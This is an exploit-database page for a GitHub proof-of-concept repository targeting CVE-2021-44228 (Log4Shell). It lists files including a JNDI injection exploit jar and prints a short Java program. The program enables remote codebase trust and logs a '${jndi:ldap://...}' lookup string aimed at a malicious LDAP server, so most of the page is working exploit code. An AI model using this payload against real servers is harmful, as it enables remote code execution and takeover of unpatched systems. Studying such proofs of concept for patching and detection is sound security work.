Exploit databaseDownload repository ZIP
GH-389ec3dd5d8c0eb8b7d7e260f285a004
badb33f/apache-log4j-poc
Sources for CVE-2021-44228
465 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
badb33f/apache-log4j-pocRevision f03f12010939
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- README.md
- log4j-api-2.1.jar
- log4j-core-2.1.jar
- log4j.java
- log4j2.xml
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
log4j.java
Java · 722 bytesimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* CVE-2021-44228 POC
* @author Saad Iqbal
*/
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
// TODO code application logic here
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //Must be true for 1.8 and 1.7 versions
logger.error("${java:version}");
String maliciousString = "${jndi:ldap://127.0.0.1:1389/-hexcode from malicious ldap server-}";
logger.error(maliciousString);
}
}